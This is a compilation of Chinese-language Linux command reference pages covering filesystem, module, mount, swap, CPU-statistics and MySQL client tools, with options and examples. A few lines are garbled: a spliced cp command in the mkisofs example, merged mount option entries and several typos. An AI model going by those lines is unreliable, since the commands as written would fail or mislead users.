              realtime_section_options are:

                   rtdev=device
                          This is used to specify the device which should contain the real-time section of the filesystem.  The sub‐
                          option value is the name of a block device.

                   extsize=value
                          This is used to specify the size of the blocks in the real-time section of the filesystem. This value must
                          be a multiple of the filesystem block size. The minimum allowed size is the filesystem block size or 4 KiB
                          (whichever is larger); the default size is the stripe width for striped volumes or 64 KiB for  non-striped
                          volumes;  the maximum allowed size is 1 GiB. The real-time extent size should be carefully chosen to match
                          the parameters of the physical media used.

                   size=value
                          This is used to specify the size of the real-time section.  This suboption is only needed if the real-time
                          section  of  the filesystem should occupy less space than the size of the partition or logical volume con‐
                          taining the section.

                   noalign
                          This option disables stripe size detection, enforcing a realtime device with no stripe geometry.

       -s sector_size
              This option specifies the fundamental sector size of the filesystem.  The sector_size is specified either as  a  value
              in  bytes  with size=value or as a base two logarithm value with log=value.  The default sector_size is 512 bytes. The
              minimum value for sector size is 512; the maximum is 32768 (32 KiB). The sector_size must be a power  of  2  size  and
              cannot be made larger than the filesystem block size.

       -L label
              Set the filesystem label.  XFS filesystem labels can be at most 12 characters long; if label is longer than 12 charac‐
              ters, mkfs.xfs will not proceed with creating the filesystem.  Refer to the mount(8) and xfs_admin(8)  manual  entries
              for additional information.

       -N     Causes the file system parameters to be printed out without really creating the file system.

       -K     Do not attempt to discard blocks at mkfs time.

       -V     Prints the version number and exits.

</pre>
**SEE ALSO<pre>
       xfs(5), mkfs(8), mount(8), xfs_info(8), xfs_admin(8).

</pre>
**BUGS<pre>
       With a prototype file, it is not possible to specify hard links.
</pre>
!!简介
:<div>
mkinitrd
===

建立要载入ramdisk的映像文件

</div>

!! 补充说明

:<div>


"mkinitrd命令" 建立要载入ramdisk的映像文件,以供Linux开机时载入ramdisk。

这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去!

</div>

!! 语法  

:<div>


```
mkinitrd(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件;
-v:执行时显示详细的信息;
--omit-scsi-modules:不要载入SCSI模块;
--preload=<模块名称>:指定要载入的模块;
--with=<模块名称>:指定要载入的模块;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


*   映像文件:指定要创建的映像文件;
*   内核版本:指定内核版本。

</div>

!! 实例  

:<div>


```
[root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r)
Creating initramfs
WARNING: using /tmp for temporary files
Looking for deps of module ide-disk
Looking for deps of module ext3  jbd
Looking for deps of module jbd
Using modules:  ./kernel/fs/jbd/jbd.ko ./kernel/fs/ext3/ext3.ko
/sbin/nash -> /tmp/initrd.Vz3928/bin/nash
/sbin/insmod.static -> /tmp/initrd.Vz3928/bin/insmod
/sbin/udev.static -> /tmp/initrd.Vz3928/sbin/udev
/etc/udev/udev.conf -> /tmp/initrd.Vz3928/etc/udev/udev.conf
copy from /lib/modules/2.6.9-5.EL/./kernel/fs/jbd/jbd.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/jbd.ko(elf32-i386)
copy from /lib/modules/2.6.9-5.EL/./kernel/fs/ext3/ext3.ko(elf32-i386) to /tmp/initrd.Vz3928/lib/ext3.ko(elf32-i386)
Loading module jbd
Loading module ext3

[root@localhost tmp]# file myinitrd.img
myinitrd.img: gzip compressed data, from Unix, max compression

[root@localhost tmp]# mv myinitrd.img  myinitrd.img.gz
[root@localhost tmp]# gzip -d myinitrd.img.gz
[root@localhost tmp]# file myinitrd.img
myinitrd.img: ASCII cpio archive (SVR4 with no CRC)
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mkisofs
===

建立ISO 9660映像文件

</div>

!! 补充说明

:<div>


"mkisofs命令" 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。

</div>

!! 语法  

:<div>


```
mkisofs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中;
-A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID;
-abstract<摘要文件>:指定摘要文件的文件名;
-b<开机映像文件>或-eltorito-boot<开机映像文件>:指定在制作可开机光盘时所需的开机映像文件;
-biblio<ISBN文件>:指定ISBN文件的文件名,ISBN文件位于光盘根目录下,记录光盘的ISBN;
-c<开机文件名称>:制作可开机光盘时,mkisofs会将开机映像文件中的全-eltorito-catalog<开机文件名称>全部内容作成一个文件;
-C<盘区编号,盘区编号>:将许多节区合成一个映像文件时,必须使用此参数;
-copyright<版权信息文件>:指定版权信息文件的文件名;
-d或-omit-period:省略文件后的句号;
-D或-disable-deep-relocation:ISO 9660最多只能处理8层的目录,超过8层的部分,RRIP会自动将它们设置成ISO 9660兼容的格式。使用-D参数可关闭此功能;
-f或-follow-links:忽略符号连接;
-h:显示帮助;
-hide<目录或文件名>:使指定的目录或文件在ISO 9660或Rock RidgeExtensions的系统中隐藏;
-hide-joliet<目录或文件名>:使指定的目录或文件在Joliet系统中隐藏;
-J或-joliet:使用Joliet格式的目录与文件名称;
-l或-full-iso9660-filenames:使用ISO 9660 32字符长度的文件名;
-L或-allow-leading-dots:允许文件名的第一个字符为句号;
-log-file<记录文件>:在执行过程中若有错误信息,预设会显示在屏幕上;
-m<目录或文件名>或-exclude<目录或文件名>:指定的目录或文件名将不会房入映像文件中;
-M<映像文件>或-prev-session<映像文件>:与指定的映像文件合并;
-N或-omit-version-number:省略ISO 9660文件中的版本信息;
-o<映像文件>或-output<映像文件>:指定映像文件的名称;
-p<数据处理人>或-preparer<数据处理人>:记录光盘的数据处理人;
-print-size:显示预估的文件系统大小;
-quiet:执行时不显示任何信息;
-r或-rational-rock:使用Rock Ridge Extensions,并开放全部文件的读取权限;
-R或-rock:使用Rock Ridge Extensions;
-sysid<系统ID>:指定光盘的系统ID;
-T或-translation-table:建立文件名的转换表,适用于不支持Rock Ridge Extensions的系统上;
-v或-verbose:执行时显示详细的信息;
-V<光盘ID>或-volid<光盘ID>:指定光盘的卷册集ID;
-volset-size<光盘总数>:指定卷册集所包含的光盘张数;
-volset-seqno<卷册序号>:指定光盘片在卷册集中的编号;
-x<目录>:指定的目录将不会放入映像文件中;
-z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。
```

</div>

!! 参数  

:<div>


路径:需要添加到映像文件中的路径。

</div>

!! 实例  

:<div>


linux中用mkisofs命令把文件制作成ISO步骤:

把NFS服务器上的目录挂载到本地/mnt/nfs/的目录:

```
mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/
```

把已挂载的文件复制到本地:

```
cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/&
```

查找boot.cat文件并删除掉:

```
find rhel4.0/ -name boot.cat | xargs rm
```

查找TRANS.TBL文件并删除掉:

```
find rhel4.0/ -name TRANS.TBL -exec rm {} \;
```

复制本地的所需文件到指定目录:

```
cp /usr/share/comps/i386/.discinfo rhel4.0/
```

把指定目录下的所有文件制作成ISO文件:

```
mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
> mknod命令用于创建Linux中的字符设备文件和块设备文件。

! 语法
mknod(选项)(参数)

! 选项

*-Z:设置安全的上下文;

*-m:设置权限模式;

*-help:显示帮助信息;

*--version:显示版本信息。

! 参数
*文件名:要创建的设备文件名;

* 类型:指定要创建的设备文件的类型;

* 主设备号:指定设备文件的主设备号;

* 次设备号:指定设备文件的次设备号。

! 实例

* <pre>

```bash
ls -la /dev/ttyUSB*
crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
mknod /dev/ttyUSB32 c 188 32
```
</pre>
! 扩展知识
*Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为`设备文件`。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。

*为了管理这些设备,系统为设备编了号,每 个设备号又分为`主设备号`和`次设备号`。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。

*Linux为所有的设备文件都提供了`统一的操作函数接口`,方法是使用数据结构`struct file_operations`。这个数据结构中包括许多操作函数的指针,如`open()`、`close()`、`read()`和`write()`等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。

*打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。
!!简介
:<div>
mknod
===

创建字符设备文件和块设备文件

</div>

!! 补充说明

:<div>


"mknod命令" 用于创建Linux中的字符设备文件和块设备文件。

</div>

!! 语法  

:<div>


```
mknod(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-Z:设置安全的上下文;
-m:设置权限模式;
-help:显示帮助信息;
--version:显示版本信息。
```

</div>

!! 参数  

:<div>


*   文件名:要创建的设备文件名;
*   类型:指定要创建的设备文件的类型;
*   主设备号:指定设备文件的主设备号;
*   次设备号:指定设备文件的次设备号。

</div>

!! 实例  

:<div>


```
ls -la /dev/ttyUSB*
crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
mknod /dev/ttyUSB32 c 188 32
```

</div>

!! 扩展知识  

:<div>


Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。

为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。

Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。

打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mkswap
===

建立和设置SWAP交换分区

</div>

!! 补充说明

:<div>


"mkswap命令" 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。

</div>

!! 语法  

:<div>


```
mkswap(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:建立交换区前,先检查是否有损坏的区块;
-f:在SPARC电脑上建立交换区时,要加上此参数;
-v0:建立旧式交换区,此为预设值;
-v1:建立新式交换区。
```

</div>

!! 参数  

:<div>


设备:指定交换空间对应的设备文件或者交换文件。

</div>

!! 实例  

:<div>


 "查看系统swap space大小:" 

```
free -m
total used free shared buffers cached
Mem: 377 180 197 0 19 110
-/+ buffers/cache: 50 327
Swap: 572 0 572
```

 "查看当前的swap空间(file(s)/partition(s)):" 

```
swapon -s

等价于

cat /proc/swaps
```

 "添加交换空间" 

添加一个 "交换分区" 或添加一个 "交换文件" 。推荐你添加一个交换分区;不过,若你没有多少空闲空间可用,则添加交换文件。

添加一个交换分区,步骤如下:

使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区:

```
mkswap /dev/sdb2
```

启用交换分区:

```
swapon /dev/sdb2
```

写入`/etc/fstab`,以便在引导时启用:

```
/dev/sdb2 swap swap defaults 0 0
```

添加一个交换文件,步骤如下:

创建大小为512M的交换文件:

```
dd if=/dev/zero of=/swapfile1 bs=1024 count=524288
```

使用mkswap命令来设置交换文件:

```
mkswap /swapfile1
```

启用交换分区:

```
swapon /swapfile1
```

写入`/etc/fstab`,以便在引导时启用:

```
/swapfile1 swap swap defaults 0 0
```

新添了交换分区并启用它之后,请查看`cat /proc/swaps`或free命令的输出来确保交换分区已被启用了。

 "删除交换空间:" 

禁用交换分区:

```
swapoff /dev/sdb2
```

从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mktemp
===

创建临时文件供shell脚本使用

</div>

!! 补充说明

:<div>


"mktemp命令" 被用来创建临时文件供shell脚本使用。

</div>

!! 语法  

:<div>


```
mktemp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-q:执行时若发生错误,不会显示任何信息;
-u:暂存文件会在mktemp结束前先行删除;
-d:创建一个目录而非文件。
```

</div>

!! 参数  

:<div>


文件:指定创建的临时文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* NAME<pre>
       mmv - move/copy/append/link multiple files by wildcard patterns
</pre>
* SYNOPSIS<pre>
       mmv [-m|x|r|c|o|a|l|s] [-h] [-d|p] [-g|t] [-v|n] [--] [from to]
</pre>
* EXAMPLES<pre>

```bash
       #Rename all *.jpeg files in the current directory to *.jpg:

          mmv '*.jpeg' '#1.jpg'

       #Replace the first occurrence of abc with xyz in all files in the current directory:

          mmv '*abc*' '#1xyz#2'

       #Rename  files  ending  in  .html.en,  .html.de,  etc. to ending in .en.html, .de.html, etc. in the current
       #directory:

          mmv '*.html.??' '#1.#2#3.html'

       #Rename music files from <track no.> - <interpreter> - <song title>.ogg to <interpreter> -  <track  no.>  -
       #<song title>.ogg in the current directory:

          mmv '* - * - *.ogg' '#2 - #1 - #3.ogg'
```
</pre>
! 选项
:<div>

```
Usage:
	modinfo [options] filename [args]
Options:
	-a, --author                Print only 'author'
	-d, --description           Print only 'description'
	-l, --license               Print only 'license'
	-p, --parameters            Print only 'parm'
	-n, --filename              Print only 'filename'
	-0, --null                  Use \0 instead of \n
	-F, --field=FIELD           Print only provided FIELD
	-k, --set-version=VERSION   Use VERSION instead of `uname -r`
	-b, --basedir=DIR           Use DIR as filesystem root for /lib/modules
	-V, --version               Show version
	-h, --help                  Show this help

```
</div>
;modprobe命令用于智能地向内核中加载模块或者从内核中移除模块。

:modprobe可载入指定的个别模块,或是载入一组相依的模块。
:modprobe会根据depmod所产生的相依关系,决定要载入哪些模块。
:若在载入过程中发生错误,在modprobe会卸载整组的模块。

* 选项
:<div>

```
-a或--all:载入全部的模块;
-c或--show-conf:显示所有模块的设置信息;
-d或--debug:使用排错模式;
-l或--list:显示可用的模块;
-r或--remove:模块闲置不用时,即自动卸载模块;
-t或--type:指定模块类型;
-v或--verbose:执行时显示详细的信息;
-V或--version:显示版本信息;
-help:显示帮助。
```
</div>
!快捷键    
* 按Space键:显示文本的下一屏内容。
* 按Enier键:只显示文本的下一行内容。
* 按斜线符|:接着输入一个模式,可以在文本中寻找下一个相匹配的模式。
* 按H键:显示帮助屏,该屏上有相关的帮助信息。
* 按B键:显示上一屏内容。
* 按Q键:退出rnore命令。
!选项

* -<数字>:指定每屏显示的行数;
* -d:显示“[press space to continue,'q' to quit.]”和“[Press 'h' for instructions]”;
* -c:不进行滚屏操作。每次刷新这个屏幕;
* -s:将多个空行压缩成一行显示;
* -u:禁止下划线;
* +<数字>:从指定数字的行开始显示。

!!简介
:<div>
mount
===

用于挂载Linux系统外的文件。

</div>

!! 补充说明

:<div>


"mount命令" Linux mount命令是经常会使用到的命令,它用于挂载Linux系统外的文件。

</div>

!! 语法  

:<div>


```
mount [-hV]
mount -a [-fFnrsvw] [-t vfstype]
mount [-fnrsvw] [-o options [,...]] device | dir
mount [-fnrsvw] [-t vfstype] [-o options] device dir
```

</div>

!! 选项  

:<div>


```
-V:显示程序版本
-h:显示辅助讯息
-v:显示较讯息,通常和 -f 用来除错。
-a:将 /etc/fstab 中定义的所有档案系统挂上。
-F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。
-f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。
-n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。
-s-r:等于 -o ro
-w:等于 -o rw
-L:将含有特定标签的硬盘分割挂上。
-U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。
-t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。
-o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。
-o sync:在同步模式下执行。
-o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。
-o auto、-o noauto:打开/关闭自动挂上模式。
-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.
-o dev、-o nodev-o exec、-o noexec允许执行档被执行。
-o suid、-o nosuid:
允许执行档在 root 权限下执行。
-o user、-o nouser:使用者可以执行 mount/umount 的动作。
-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。
-o ro:用唯读模式挂上。
-o rw:用可读写模式挂上。
-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。
```

</div>

!! 实例  

:<div>


将 `/dev/hda1` 挂在 `/mnt` 之下。

```
#mount /dev/hda1 /mnt
```

将 `/dev/hda1` 用唯读模式挂在 `/mnt` 之下。

```
#mount -o ro /dev/hda1 /mnt
```

将 `/tmp/image.iso` 这个光碟的 `image` 档使用 `loop` 模式挂在 `/mnt/cdrom` 之下。用这种方法可以将一般网络上可以找到的 `Linux` 光 碟 ISO 档在不烧录成光碟的情况下检视其内容。

```
#mount -o loop /tmp/image.iso /mnt/cdrom
```




<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mpstat
===

显示各个可用CPU的状态

</div>

!! 补充说明

:<div>


"mpstat命令" 指令主要用于多CPU环境下,它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里,其不但能查看所有CPU的平均状况信息,而且能够查看特定CPU的信息。

</div>

!! 语法  

:<div>


```
mpstat(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-P:指定CPU编号。
```

</div>

!! 参数  

:<div>


*   间隔时间:每次报告的间隔时间(秒);
*   次数:显示报告的次数。

</div>

!! 实例  

:<div>


当mpstat不带参数时,输出为从系统启动以来的平均值。

```
mpstat
Linux 2.6.9-5.31AXsmp (builder.redflag-linux.com) 12/16/2005
09:38:46 AM CPU %user %nice %system %iowait %irq %soft %idle intr/s
09:38:48 AM all 23.28 0.00 1.75     0.50 0.00 0.00 74.47 1018.59
```

 "每2秒产生了2个处理器的统计数据报告:" 

下面的命令可以每2秒产生了2个处理器的统计数据报告,一共产生三个interval 的信息,然后再给出这三个interval的平均信息。默认时,输出是按照CPU 号排序。第一个行给出了从系统引导以来的所有活跃数据。接下来每行对应一个处理器的活跃状态。。

```
mpstat -P ALL 2 3
Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
09:34:20 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
09:34:22 PM all    0.00    0.00    0.00    0.00    0.00    0.00    0.00 100.00   1001.49
09:34:22 PM    0    0.00    0.00    0.50    0.00    0.00    0.00    0.00   99.50   1001.00
09:34:22 PM    1    0.00    0.00    0.00    0.00    0.00    0.00    0.00 100.00      0.00
```

 "比较带参数和不带参数的mpstat的结果:" 

在后台开一个2G的文件

```
cat 1.img &
```

然后在另一个终端运行mpstat命令

```
mpstat
Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
10:17:31 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
10:17:31 PM all    0.07    0.02    0.25    0.21    0.01    0.04    0.00   99.40   1004.57
```

```
mpstat
Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
10:17:35 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
10:17:35 PM all    0.07    0.02    0.25    0.21    0.01    0.04    0.00   99.39   1004.73
```

```
mpstat 3 10
Linux 2.6.18-164.el5 (server.sys.com)    01/04/2010
10:17:55 PM CPU   %user   %nice    %sys %iowait    %irq   %soft %steal   %idle    intr/s
10:17:58 PM all   13.12    0.00   20.93    0.00    1.83    9.80    0.00   54.32   2488.08
10:18:01 PM all   10.82    0.00   19.30    0.83    1.83    9.32    0.00   57.90   2449.83
10:18:04 PM all   10.95    0.00   20.40    0.17    1.99    8.62    0.00   57.88   2384.05
10:18:07 PM all   10.47    0.00   18.11    0.00    1.50    8.47    0.00   61.46   2416.00
10:18:10 PM all   11.81    0.00   22.63    0.00    1.83   11.98    0.00   51.75   2210.60
10:18:13 PM all    6.31    0.00   10.80    0.00    1.00    5.32    0.00   76.58   1795.33
10:18:19 PM all    1.75    0.00    3.16    0.75    0.25    1.25    0.00   92.85   1245.18
10:18:22 PM all   11.94    0.00   19.07    0.00    1.99    8.29    0.00   58.71   2630.46
10:18:25 PM all   11.65    0.00   19.30    0.50    2.00    9.15    0.00   57.40   2673.91
10:18:28 PM all   11.44    0.00   21.06    0.33    1.99   10.61    0.00   54.56   2369.87
Average:     all    9.27    0.00   16.18    0.30    1.50    7.64    0.00   65.11   2173.54
```

上两表显示出当要正确反映系统的情况,需要正确使用命令的参数。vmstat 和iostat 也需要注意这一问题。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* 配置方法:

```bash

# 1,编辑/etc/bashrc文件
vim /etc/bashrc
# 在此文件的最后一样加入如下内容
export PROMPT_COMMAND='{ msg=$(history 1 | { read x y; echo $y; });logger "[hostname- $(hostname)]": "[euid=$(whoami)]":$(who am i):[`pwd`]:"$msg"; }'
# 保存退出

# 2,重新加载下bashrc
source /etc/bashrc

# 3,查看配置结果
# 在执行如下之类之前,可以随意执行几个命令,以便显示效果
tail -f /var/log/messages
```
```bash
 <(some command)  可以把某命令当成一个文件。
例如:比较一个本地文件和远程服务器的文件: 

[root@manager ~]# diff /root/a.txt  <(ssh 192.168.1.2  cat /root/a.txt)
1c1
< 1
---
> 123
```
```bash
#用tcpdump嗅探80端口的访问看看谁最高
 tcpdump -i eth0 -tnn dst port 80 -c 1000 | awk -F"." '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -nr |head -20
```
!!简介
:<div>
mtools
===

显示mtools支持的指令

</div>

!! 补充说明

:<div>


"mtools命令" 显示mtools支持的指令,mtools为MS-DOS文件系统的工具程序,可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接,因此会有一些共同的特性。

</div>

!! 语法  

:<div>


```
mtools(选项)
```

</div>

!! 选项  

:<div>


```
-a:长文件名重复时自动更改目标文件的长文件名;
-A:短文件名重复但长文件名不同时自动更改目标文件的短文件名;
-o:长文件名重复时,将目标文件覆盖现有的文件;
-O:短文件名重复但长文件名不同时,将目标文件覆盖现有的文件;
-r:长文件名重复时,要求用户更改目标文件的长文件名;
-R:短文件名重复但长文件名不同时,要求用户更改目标文件的短文件名;
-s:长文件名重复时,则不处理该目标文件;
-S:短文件名重复但长文件名不同时,则不处理该目标文件;
-v:执行时显示详细的说明;
-V:显示版本信息。
```

</div>

!! 实例  

:<div>


使用mtools命令显示其支持的所有的指令,输入如下命令:

```
[root@localhost ~]# mtools     #显示所有支持的指令名称
Supported commands:
mattrib, mbadblocks, mcat, mcd, mclasserase, mcopy, mdel, mdeltree
mdir, mdoctorfat, mdu, mformat, minfo, mlabel, mmd, mmount
mpartition, mrd, mread, mmove, mren, mshowfat, mtoolstest, mtype
mwrite, mzip

```

如上所示,其显示的所有命令均为mtools工具所支持的。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* MAN
** NAME<pre>
       mv - move (rename) files
</pre>
** SYNOPSIS<pre>
       mv [OPTION]... [-T] SOURCE DEST
       mv [OPTION]... SOURCE... DIRECTORY
       mv [OPTION]... -t DIRECTORY SOURCE...
</pre>
** DESCRIPTION<pre>


       Rename SOURCE to DEST, or move SOURCE(s) to DIRECTORY.

       Mandatory arguments to long options are mandatory for short options too.

       --backup[=CONTROL]
              make a backup of each existing destination file

       -b     like --backup but does not accept an argument

       -f, --force
              do not prompt before overwriting

       -i, --interactive
              prompt before overwrite

       -n, --no-clobber
              do not overwrite an existing file

       `If you specify more than one of -i, -f, -n, only the final one takes effect.`

       --strip-trailing-slashes
              remove any trailing slashes from each SOURCE argument

       -S, --suffix=SUFFIX
              override the usual backup suffix

       -t, --target-directory=DIRECTORY
              move all SOURCE arguments into DIRECTORY

       -T, --no-target-directory
              treat DEST as a normal file

       -u, --update
              move  only  when the SOURCE file is newer than the destination file or when the destination file is
              missing

       -v, --verbose
              explain what is being done

       -Z, --context
              set SELinux security context of destination file to default type

       --help display this help and exit

       --version
              output version information and exit

       The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.  The  version  control  method
       may be selected via the --backup option or through the VERSION_CONTROL environment variable.  Here are the
       values:

       none, off
              never make backups (even if --backup is given)

       numbered, t
              make numbered backups
       existing, nil
              numbered if numbered backups exist, simple otherwise

       simple, never
              always make simple backups

       GNU  coreutils  online  help:  <http://www.gnu.org/software/coreutils/>  Report  mv  translation  bugs  to
       <http://translationproject.org/team/>
</pre>
 <<list-links "[tag[mw-note]sort[title]]">>
!!简介
:<div>
mysql
===

MySQL服务器客户端工具

</div>

!! 补充说明

:<div>


"mysql命令" 是MySQL数据库服务器的客户端工具,它工作在命令行终端中,完成对远程MySQL数据库服务器的操作。

</div>

!! 语法  

:<div>


```
mysql(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:MySQL服务器的ip地址或主机名;
-u:连接MySQL服务器的用户名;
-e:执行mysql内部命令;
-p:连接MySQL服务器的密码。
```

</div>

!! 参数  

:<div>


数据库:指定连接服务器后自动打开的数据库。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* date<pre>

```sql
select date_format(create_time, '%Y-%m-%d') Date ,count(1) from TABLE    group by date_format(create_time, '%Y%m%d'); 
```
</pre>








!!简介
:<div>
mysqladmin
===

MySQL服务器管理客户端

</div>

!! 补充说明

:<div>


"mysqladmin命令" 是mysql服务器管理任务的客户端工具,它可以检查mytsql服务器的配置和当前工作状态,创建和删除数据库,创建用户和修改用户密码等操作。

</div>

!! 语法  

:<div>


```
mysqladmin(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-h:MySQL服务器主机名或ip地址;
-u:连接MySQL服务器的用户名;
-p:连接MySQL服务器的密码;
--help:显示帮助信息。
```

</div>

!! 参数  

:<div>


管理命令:需要在MySQL服务器上执行的管理命令。

 "mysqladmin支持下列命令:" 

```
create databasename:创建一个新数据库;
drop databasename:删除一个数据库及其所有表;
extended-status:给出服务器的一个扩展状态消息;
flush-hosts:清空所有缓存的主机;
flush-logs:清空所有日志;
flush-tables:清空所有表;
flush-privileges:再次装载授权表(同reload);
kill id,id,...:杀死mysql线程;
password 新口令:将老密码改为新密码;
ping:检查mysqld是否活着;
processlist:显示服务其中活跃线程列表;
reload:重载授权表;
refresh:清空所有表并关闭和打开日志文件;
shutdown:关掉服务器;
status:给出服务器的简短状态消息;
variables:打印出可用变量;
version:得到服务器的版本信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
mysqldump
===

MySQL数据库中备份工具

</div>

!! 补充说明

:<div>


"mysqldump命令" 是mysql数据库中备份工具,用于将MySQL服务器中的数据库以标准的sql语言的方式导出,并保存到文件中。

</div>

!! 语法  

:<div>


```
mysqldump(选项)
```

</div>

!! 选项  

:<div>


```
--add-drop-table:在每个创建数据库表语句前添加删除数据库表的语句;
--add-locks:备份数据库表时锁定数据库表;
--all-databases:备份MySQL服务器上的所有数据库;
--comments:添加注释信息;
--compact:压缩模式,产生更少的输出;
--complete-insert:输出完成的插入语句;
--databases:指定要备份的数据库;
--default-character-set:指定默认字符集;
--force:当出现错误时仍然继续备份操作;
--host:指定要备份数据库的服务器;
--lock-tables:备份前,锁定所有数据库表;
--no-create-db:禁止生成创建数据库语句;
--no-create-info:禁止生成创建数据库库表语句;
--password:连接MySQL服务器的密码;
--port:MySQL服务器的端口号;
--user:连接MySQL服务器的用户名。
```

</div>

!! 实例  

:<div>


 "导出整个数据库" 

```
mysqldump -u 用户名 -p 数据库名 > 导出的文件名
mysqldump -u linuxde -p smgp_apps_linuxde > linuxde.sql
```

 "导出一个表" 

```
mysqldump -u 用户名 -p 数据库名 表名> 导出的文件名
mysqldump -u linuxde -p smgp_apps_linuxde users > linuxde_users.sql
```

 "导出一个数据库结构" 

```
mysqldump -u linuxde -p -d --add-drop-table smgp_apps_linuxde > linuxde_db.sql
```

